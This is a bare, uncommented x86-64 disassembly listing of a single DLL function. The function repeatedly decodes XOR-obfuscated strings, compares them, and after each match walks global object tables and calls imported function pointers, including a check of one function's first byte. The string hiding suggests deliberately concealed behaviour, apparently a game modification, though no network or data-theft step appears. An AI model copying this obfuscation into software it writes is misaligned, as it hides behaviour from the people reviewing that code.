call fcn.1800adcb0
mov r8, qword [0x18023bf48]
lea r9, [rsp + 0x48]
mov rdx, qword [0x18023bf40]
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x48], rax
call fcn.18005a230
mov rbx, qword [rbp + 0x158]
cmp rbx, qword [0x18023bf48]
je 0x18009a1e8
lea rcx, [rbp + 0x958]
call fcn.180016730
cmp byte [0x1801b7fc5], sil
movss xmm0, dword [rax]
mov eax, dword [str.HRYSZ_]
movss dword [rbp + 0x960], xmm0
movsd xmm0, qword [0x1801b7fb8]
mov dword [rbp + 0x1998], eax
movzx eax, word [0x1801b7fc4]
movsd qword [rbp + 0x1990], xmm0
mov word [rbp + 0x199c], ax
mov dword [rbp + 0x964], 0x42200000
je 0x18009a180
mov r8d, esi
cmp r12d, 2
jl 0x18009a142
movdqa xmm2, xmmword [0x1801bab60]
mov r8d, 8
mov eax, dword [rbp + 0x1de0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm14
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm13
psubd xmm1, xmm0
movdqa xmm2, xmm15
andps xmm1, xmm12
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7fb8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1990], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1994]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1994], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1990]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009a150
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1990]
call fcn.180002b60
test al, al
je 0x18009a431
sub rbx, qword [0x18023bf40]
mov rdx, qword [0x18023bf48]
sar rbx, 5
movsxd r8, ebx
shl r8, 5
add r8, qword [0x18023bf40]
lea rcx, [r8 + 0x20]
call fcn.180057a30
mov rdx, qword [0x18023bf48]
lea rcx, [0x18023bf40]
add rdx, 0xffffffffffffffe0
call fcn.180059650
sub qword [0x18023bf48], 0x20
jmp 0x18009a431
lea rcx, [rbp + 0x968]
call fcn.180016730
movzx ecx, word [0x1801b7fd0]
lea rdx, [rbp + 0x970]
movss xmm0, dword [rax]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x1228], cx
xor al, 0x3c
xor byte [rbp + 0x1229], 0x3b
xor cl, 0x3a
movss dword [rbp + 0x970], xmm0
movsd xmm0, qword [0x1801b7fc8]
movsd qword [rbp + 0x1220], xmm0
xor byte [rbp + 0x1221], 0x33
xor byte [rbp + 0x1222], 0x34
xor byte [rbp + 0x1223], 0x35
xor byte [rbp + 0x1224], 0x36
xor byte [rbp + 0x1225], 0x37
xor byte [rbp + 0x1226], 0x38
xor byte [rbp + 0x1227], 0x39
mov byte [rbp + 0x1228], cl
lea rcx, [rbp + 0x1220]
mov byte [rbp + 0x1220], 0x41
mov dword [rbp + 0x974], 0x42200000
mov byte [rbp + 0x122a], al
call fcn.180002b60
test al, al
je 0x18009a431
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, r15
call fcn.1800adcb0
mov rdx, rax
lea rcx, [rbp + 0x2bc0]
call fcn.180063310
lea rdx, [rbp + 0x2bc0]
lea rcx, [0x18023bf40]
call fcn.1800d7f10
lea rcx, [rbp + 0x2bc0]
call fcn.180068b30
jmp 0x18009a431
lea rcx, [rbp + 0x978]
call fcn.180016730
movzx ecx, word [0x1801b7fe0]
lea rdx, [rbp + 0x980]
movss xmm0, dword [rax]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x1188], cx
xor cl, 0x3a
xor byte [rbp + 0x1189], 0x3b
movss dword [rbp + 0x980], xmm0
movsd xmm0, qword [0x1801b7fd8]
movsd qword [rbp + 0x1180], xmm0
xor byte [rbp + 0x1181], 0x33
xor byte [rbp + 0x1182], 0x34
xor byte [rbp + 0x1183], 0x35
xor byte [rbp + 0x1184], 0x36
xor byte [rbp + 0x1185], 0x37
xor byte [rbp + 0x1186], 0x38
xor byte [rbp + 0x1187], 0x39
xor al, 0x3c
mov byte [rbp + 0x1188], cl
mov byte [rbp + 0x118a], al
lea rcx, [rbp + 0x1180]
mov dword [rbp + 0x984], 0x42200000
mov byte [rbp + 0x1180], 0x41
jmp 0x18009a42c
lea rcx, [rbp + 0x988]
call fcn.180016730
movzx ecx, word [0x1801b7ff0]
lea rdx, [rbp + 0x990]
movss xmm0, dword [rax]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x1198], cx
xor cl, 0x3a
xor byte [rbp + 0x1199], 0x3b
movss dword [rbp + 0x990], xmm0
movsd xmm0, qword [0x1801b7fe8]
movsd qword [rbp + 0x1190], xmm0
xor byte [rbp + 0x1191], 0x33
xor byte [rbp + 0x1192], 0x34
xor byte [rbp + 0x1193], 0x35
xor byte [rbp + 0x1194], 0x36
xor byte [rbp + 0x1195], 0x37
xor byte [rbp + 0x1196], 0x38
xor byte [rbp + 0x1197], 0x39
xor al, 0x3c
mov byte [rbp + 0x1198], cl
mov byte [rbp + 0x119a], al
lea rcx, [rbp + 0x1190]
mov dword [rbp + 0x994], 0x42200000
mov byte [rbp + 0x1190], 0x41
call fcn.180002b60
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
movdqa xmm1, xmmword [0x1801bab50]
xorps xmm0, xmm0
mov edx, dword [0x18023c1d8]
movups xmmword [rbp + 0x2f10], xmm0
mov byte [rbp + 0x2f10], sil
movdqu xmmword [rbp + 0x2f20], xmm1
cmp edx, 0xffffffff
jne 0x18009a507
cmp byte [0x1801b8001], sil
movsd xmm0, qword [0x1801b7ff8]
movzx eax, word [0x1801b8000]
movsd qword [rbp + 0xf90], xmm0
mov word [rbp + 0xf98], ax
je 0x18009a4dc
xor byte [rbp + 0xf91], 0x33
xor byte [rbp + 0xf92], 0x34
xor byte [rbp + 0xf93], 0x35
xor byte [rbp + 0xf94], 0x36
xor byte [rbp + 0xf95], 0x37
xor byte [rbp + 0xf96], 0x38
xor byte [rbp + 0xf97], 0x39
xor byte [rbp + 0xf98], 0x3a
xor byte [rbp + 0xf99], 0x3b
mov byte [rbp + 0xf90], 0x43
lea rax, [rbp + 0xf90]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x18009a4e6
lea rdx, [rbp + 0xf90]
lea rcx, [rbp + 0x2f10]
call fcn.18000aa40
jmp 0x18009a5bf
inc edx
lea rcx, [rbp + 0x2be0]
call fcn.1800ded80
cmp byte [0x1801b8011], sil
movsd xmm0, qword [0x1801b8008]
movzx ecx, word [0x1801b8010]
movsd qword [rbp + 0xfa0], xmm0
mov word [rbp + 0xfa8], cx
je 0x18009a582
xor byte [rbp + 0xfa1], 0x33
xor byte [rbp + 0xfa2], 0x34
xor byte [rbp + 0xfa3], 0x35
xor byte [rbp + 0xfa4], 0x36
xor byte [rbp + 0xfa5], 0x37
xor byte [rbp + 0xfa6], 0x38
xor byte [rbp + 0xfa7], 0x39
xor byte [rbp + 0xfa8], 0x3a
xor byte [rbp + 0xfa9], 0x3b
mov byte [rbp + 0xfa0], 0x50
mov r8, rax
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0x2c00]
call fcn.180054640
mov rdx, rax
lea rcx, [rbp + 0x2f10]
call fcn.1800693b0
lea rcx, [rbp + 0x2c00]
call fcn.180068b30
lea rcx, [rbp + 0x2be0]
call fcn.180068b30
cmp qword [rbp + 0x2f28], 0xf
lea rcx, [rbp + 0x2f10]
movzx eax, word [0x1801b8020]
movsd xmm0, qword [0x1801b8018]
mov word [rbp + 0x11a8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp + 0x11a0], xmm0
jbe 0x18009a5fc
mov rcx, qword [rbp + 0x2f10]
xor byte [rbp + 0x11a1], 0x33
lea rdx, [0x18023c1d8]
xor byte [rbp + 0x11a2], 0x34
xor al, 0x3c
xor byte [rbp + 0x11a3], 0x35
mov r9d, 2
xor byte [rbp + 0x11a4], 0x36
mov r8d, r13d
xor byte [rbp + 0x11a5], 0x37
xor byte [rbp + 0x11a6], 0x38
xor byte [rbp + 0x11a7], 0x39
xor byte [rbp + 0x11a8], 0x3a
xor byte [rbp + 0x11a9], 0x3b
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x11a0]
mov byte [rbp + 0x11a0], 0x53
mov byte [rbp + 0x11aa], al
call fcn.180008db0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x998]
call fcn.180016730
movdqa xmm6, xmmword [rbp + 0x1de0]
mov r8d, esi
movdqa xmm10, xmmword [0x1801bab60]
movups xmm1, xmmword [str.eRFE]
movss xmm0, dword [rax]
movzx eax, word [0x1801b8038]
mov word [rbp + 0x2200], ax
movzx eax, byte [0x1801b803a]
mov byte [rbp + 0x2202], al
movss dword [rbp + 0x9a0], xmm0
mov dword [rbp + 0x9a4], 0x42200000
movups xmmword [rbp + 0x21f0], xmm1
cmp r12d, 2
jl 0x18009a7f3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x21f4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009a700
cmp r8d, 0x13
jge 0x18009a830
movsxd rax, r8d
lea r9, [rbp + 0x21f0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18009a800
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x21f0]
call fcn.180002b60
test al, al
je 0x18009a8a8
cmp qword [0x18023d4d0], rsi
je 0x18009a8a8
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009a8a8
mov rax, qword [0x18023ffe0]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x18009a8a8
mov qword [0x18023c1d0], rdx
mov byte [0x18023c1c1], 1
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x9a8]
call fcn.180016730
movzx ecx, word [0x1801b8048]
lea rdx, [rbp + 0x9b0]
movss xmm0, dword [rax]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x11b8], cx
xor al, 0x3c
xor byte [rbp + 0x11b9], 0x3b
xor cl, 0x3a
movss dword [rbp + 0x9b0], xmm0
movsd xmm0, qword [0x1801b8040]
movsd qword [rbp + 0x11b0], xmm0
xor byte [rbp + 0x11b1], 0x33
xor byte [rbp + 0x11b2], 0x34
xor byte [rbp + 0x11b3], 0x35
xor byte [rbp + 0x11b4], 0x36
xor byte [rbp + 0x11b5], 0x37
xor byte [rbp + 0x11b6], 0x38
xor byte [rbp + 0x11b7], 0x39
mov byte [rbp + 0x11b8], cl
lea rcx, [rbp + 0x11b0]
mov byte [rbp + 0x11b0], 0x46
mov dword [rbp + 0x9b4], 0x42200000
mov byte [rbp + 0x11ba], al
call fcn.180002b60
test al, al
je 0x18009a9bd
cmp qword [0x18023d4d0], rsi
je 0x18009a9bd
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009a9bd
mov rax, qword [rcx + 0xd0]
test rax, rax
je 0x18009a9bd
movzx ecx, word [rax + 0xa]
call qword [0x18023fef8]
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x9b8]
call fcn.180016730
cmp byte [0x1801b805d], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b8058]
movss dword [rbp + 0x9c0], xmm0
movsd xmm0, qword [0x1801b8050]
mov dword [rbp + 0x19a8], eax
movzx eax, word [0x1801b805c]
movsd qword [rbp + 0x19a0], xmm0
mov word [rbp + 0x19ac], ax
mov dword [rbp + 0x9c4], 0x42200000
je 0x18009ab50
mov r8d, esi
cmp r12d, 2
jl 0x18009ab13
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8050]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x19a0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19a0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009ab20
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x19a0]
call fcn.180002b60
test al, al
je 0x18009ac01
cmp qword [0x18023d4d0], rsi
je 0x18009ac01
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009ac01
mov rax, qword [0x18023ffe0]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009ac01
mov rax, qword [0x18023fee8]
mov rcx, rdi
call rax
mov rdx, qword [0x18023fee8]
mov rbx, rax
mov rcx, qword [0x18023d4d0]
call rdx
mov r8d, 1
mov rdx, rax
mov rcx, rbx
call qword [0x180240110]
mov qword [0x18023c1d0], rdi
mov byte [0x18023c1c1], 1
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x9c8]
call fcn.180016730
movups xmm1, xmmword [0x1801b8060]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1d00], xmm1
mov dword [rbp + 0x9d4], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0x9d0], xmm0
test al, al
je 0x18009ada0
cmp r12d, 2
jl 0x18009ad5d
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1d04]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18009ac70
jmp 0x18009ada0
lea r9, [rbp + 0x1d00]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18009ad70
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x1d00]
call fcn.180002b60
test al, al
je 0x18009aea4
cmp qword [0x18023d4d0], rsi
je 0x18009aea4
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ebx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ebx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rbx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rbx, r8
je 0x18009aea4
mov rax, qword [0x18023ffe0]
mov rcx, rbx
movsd xmm0, qword [rbx + 0x90]
mov r14d, dword [rbx + 0x98]
movsd qword [rsp + 0x60], xmm0
mov rdi, qword [rbx + rax]
call qword [0x18023fee8]
cmp qword [rbx + 0xd0], rsi
je 0x18009aea4
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rbx
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
movss xmm2, dword [rsp + 0x64]
mov rcx, rbx
movss xmm1, dword [rsp + 0x60]
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
movd xmm3, r14d
mov dword [rsp + 0x20], 1
call qword [0x1802400e0]
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rbx
mov qword [0x18023c1d0], rdi
mov rcx, r15
mov byte [0x18023c1ea], 1
mov byte [rsp + 0x20], 1
call fcn.1800dc680
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x9d8]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b8078]
mov dword [rbp + 0x1b98], eax
movzx eax, word [0x1801b807c]
mov word [rbp + 0x1b9c], ax
movzx eax, byte [0x1801b807e]
movss dword [rbp + 0x9e0], xmm0
movsd xmm0, qword [0x1801b8070]
mov byte [rbp + 0x1b9e], al
mov dword [rbp + 0x9e4], 0x42200000
movsd qword [rbp + 0x1b90], xmm0
cmp r12d, 2
jl 0x18009affa
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8070]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b90], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b94]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b90]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009b010
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x1b90]
call fcn.180002b60
test al, al
je 0x18009b0d3
cmp qword [0x18023d4d0], rsi
je 0x18009b0d3
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009b0d3
mov rax, qword [0x18023ffe0]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009b0d3
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023ff30]
cmp byte [rax], 0x48
jne 0x18009b0d3
mov rcx, rdi
call rax
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x9e8]
call fcn.180016730
cmp byte [0x1801b8091], sil
movups xmm1, xmmword [0x1801b8080]
movss xmm0, dword [rax]
movzx eax, word [0x1801b8090]
mov word [rbp + 0x20c8], ax
movss dword [rbp + 0x9f0], xmm0
mov dword [rbp + 0x9f4], 0x42200000
movups xmmword [rbp + 0x20b8], xmm1
je 0x18009b280
mov r8d, esi
cmp r12d, 2
jl 0x18009b243
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x20bc]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009b150
cmp r8d, 0x12
jge 0x18009b280
movsxd rax, r8d
lea r9, [rbp + 0x20b8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18009b250
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0x20b8]
call fcn.180002b60
test al, al
je 0x18009b77f
cmp qword [0x18023d4d0], rsi
je 0x18009b77f
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov r14d, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul r14d, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add r14, qword [r9]
neg r8
sar r8, 0x3f
not r8
and r14, r8
je 0x18009b77f
mov rax, qword [0x18023ffe0]
mov rdi, qword [r14 + rax]
test rdi, rdi
je 0x18009b77f
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
je 0x18009b373
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
xor edx, edx
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b39b
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
xor edx, edx
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
je 0x18009b416
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 1
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b441
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 1
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
